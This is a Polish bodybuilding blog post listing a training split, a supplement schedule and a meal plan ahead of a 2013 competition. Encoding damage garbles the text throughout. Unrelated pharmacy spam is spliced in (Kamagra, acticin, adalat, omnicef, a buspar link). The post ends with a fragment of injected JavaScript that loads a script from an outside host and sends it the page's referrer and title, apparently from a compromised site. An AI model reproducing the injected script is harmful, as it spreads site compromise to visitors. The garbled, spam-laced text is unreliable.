JaBi – 7 Tygodni przed Mistrzostwami Polski 2013

4.03.2013 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

ZostaAi??o 7 Tygodni i 3 dni

Wczoraj zrobiAi??em trening dwugAi??owym i czworobocznych – kapturA?w, po czym daAi??em 55 minut aerobA?w, barkA?w nie robiAi??em poniewaA? bAi??dAi?? Ai??wiczyAi?? je w Niedziele.

JUTRO KLAKA , A?YDY, AEROBY i BRZUCHOL MMMMMMmm nie moge siAi?? doczekaAi??

Fotka z treningu miAi??Ai??ni palcA?w z wczoraj :

Cheap TRENING :

NOGI :

5 min bieA?nia
rozgrzewka 1 x UGINANIE PODUDZI W LEAi??ENIU
3 x 15/12/12/ UGINANIE PODUDZI W LEAi??ENIU
3 X 12/12/12 UGINANIE NOGI STOJAi??C NA MASZYNIE DO LEAi??ENIA I UGINANIA PODUDZI
4 x 20/do bA?lu/do bA?lu/do bA?lu MARTWY CIAi??G NA PROSTYCH NOGACH

KAPTURY :

4 x do bA?lu WZNOSY BARKAi??W ai???SZRUGSY” z odwaA?nikami – talerzami
1 x do bA?lu WZNOSY BARKAi??W Z HANTLAMI

Pills Purchase AEROBY : where to buy acticin
55 minut na bieA?ni

SUPLEMENTACJA : Pills
+ Rano:
– 5 gram proszku zasadowego
– 5 gram CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500
– 5 gram BCAA Powder
– 10 gram Glutamine Extreme
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 0,5 tab VIT-C Strong 1000
– 1 kaps MAGNE-100 Sport

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ Przed Treningiem:
– 10 gram S.A.W.
– 10gram BCAA Powder

+ Po treningu siAi??owym :
– 10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3
– 1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 50 gram IsoLate 100
– 35 gram Vitargo electro-energy

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 1 Vitamin B Complex
– 2 kaps GABA 750

DIETA : http://ecofan.se/2018/02/02/is-buspar-available-over-the-counter/

1 POSIA?EK :
130 gram zmielonych pAi??atkA?w owsianych
50 gram ISOLATE 100

2 POSIA?EK :
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

3 POSIA?EK : Buy
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

4 POSIA?EK :
100 gram ryA?u basmatii
200 gram piersi z kurczaka
70 gram warzyw

POSIA?EK (po aerobach) :
– 50 gram ISOLATE 100
– 35 gram Vitargo electro-energy

5 POSIA?EK (po siAi??owni) :
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

6 POSIA?EK :
200 – 250 gram piersi z kurczaka

Kolejnego dnia wybraAi??em sie na zakupy aby uzupeAi??niAi?? zapasy miAi??sa w lodA?wce :

Dzisiaj wybraAi??em siAi?? na maAi??e zakupy aby uzupeAi??niAi?? zapasy miAi??sa i wody do domu :

13 kg piersi z indyka
7 zgrzewek wody
kilka opakowaAi?? rA?A?nych przypraw do miAi??sa
2 Nestea Light
2 Pepsi Max


Trening PiAi??tkowy :
Czyli trening klatki piersiowej oraz 55 minut aerobA?w
Brzuch i czwartkowe barki przekAi??adam na Niedziele.

kamagra side effects long term. cheap Kamagra. kamagra side effects dangers. TRENING :

5 min bieA?nia

A?ydki :
adalat la 30mg price
4 x do bA?lu/do bA?lu/ do bA?lu/ do bA?lu z progresjAi?? ciAi??A?aru WSPIA?CIA NA PALCE W SIADZIE:
3 x po 20 na kaA?dAi?? nogAi?? + 10 na obie WSPIECIA NA PALCE W STANIU

Klatka :

3 x 15/15/12 ROZPIA?TKI
3 x 15/12/10 POMPKI NA PORA?CZACH
3 x 12/10/8 WYCISKANIE SZTANGI NA A?AWCE W SKOSIE W GAi??RE
3 x 12/10/8 WYCISKANIE SZTANGI NA A?AWECZCE PA?ASKIEJ
3 x 12/12/10 WAi??SKIE WYCISKANIE HANTLI NA A?AWCE – LECIUTKI SKOS W GAi??RE
3 x 12/12/10 KRZYAi??OWANIE LINEK Z WYCIAi??GU GAi??RNEGO ale nie pochylajAi??c siAi?? aby zaangaA?owaAi?? „dA?Ai?? klatki”

ParAi?? Fotek z wczoraj :

 

 



Order

cheap omnicef medication






 

Pompki na porAi??czach :

Pozdrawiam Hej,
CzeAi??Ai??} else {s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; online